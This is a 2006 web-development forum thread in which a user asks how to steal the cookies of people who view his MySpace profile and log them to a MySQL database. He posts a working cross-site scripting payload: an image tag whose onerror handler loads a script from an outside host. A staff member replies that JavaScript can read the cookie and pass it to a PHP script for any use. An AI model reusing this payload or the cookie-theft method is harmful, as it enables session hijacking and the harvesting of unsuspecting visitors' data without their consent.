Jump to content


Photo

Php, Mysql and Javascript


  • Please log in to reply
5 replies to this topic

#1 chasebadkids

chasebadkids
  • New Members
  • Pip
  • Newbie
  • 6 posts

Posted 29 September 2006 - 07:40 PM

Okay guys so Ive got a javascript file that works on myspace and I want to figure out how to grab the viewers cookie and send its to a database and gets the users information that just viewed my profile and will output it for a user to view,

how would I go about doing this?

this is a working example

<img src="http://gif" z="<br />" onerror="var s=document.createElement('script');s.src='http://nightstarproductions.com/sqltrack.js';document.getElementsByTagName('head')[0].appendChild(s);"><br>
					</td>


im basically looking on how i would setup something just like that.  any and all help is appreciated

#2 fenway

fenway
  • Staff Alumni
  • MySQL Si-Fu / PHP Resident Alien
  • 16,199 posts
  • LocationToronto, ON

Posted 29 September 2006 - 10:41 PM

That's going to be tricky with JS alone, since establishing an ODBC connection requires privileges...
Seriously... if people don't start reading this before posting, I'm going to consider not answering at all.

#3 chasebadkids

chasebadkids
  • New Members
  • Pip
  • Newbie
  • 6 posts

Posted 29 September 2006 - 11:22 PM

what do you mean by that?



How do you think they went about doing it, i know he said he uses mysql and the javascript file.  and in that javascript file it grabs information from the site, and sends it to the mysql, i just dont know how to setup the mysql that would grab the information correctly

#4 fenway

fenway
  • Staff Alumni
  • MySQL Si-Fu / PHP Resident Alien
  • 16,199 posts
  • LocationToronto, ON

Posted 30 September 2006 - 03:53 PM

Yes, but if you take a look at the JS, he's simply passing some parameters to a PHP script for processing.
Seriously... if people don't start reading this before posting, I'm going to consider not answering at all.

#5 chasebadkids

chasebadkids
  • New Members
  • Pip
  • Newbie
  • 6 posts

Posted 30 September 2006 - 04:17 PM

so what exactly does that mean

#6 fenway

fenway
  • Staff Alumni
  • MySQL Si-Fu / PHP Resident Alien
  • 16,199 posts
  • LocationToronto, ON

Posted 30 September 2006 - 09:30 PM

It means that you can use JS to pull the cookie, pass this info to a PHP script, and then do whatever you want to it.
Seriously... if people don't start reading this before posting, I'm going to consider not answering at all.




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users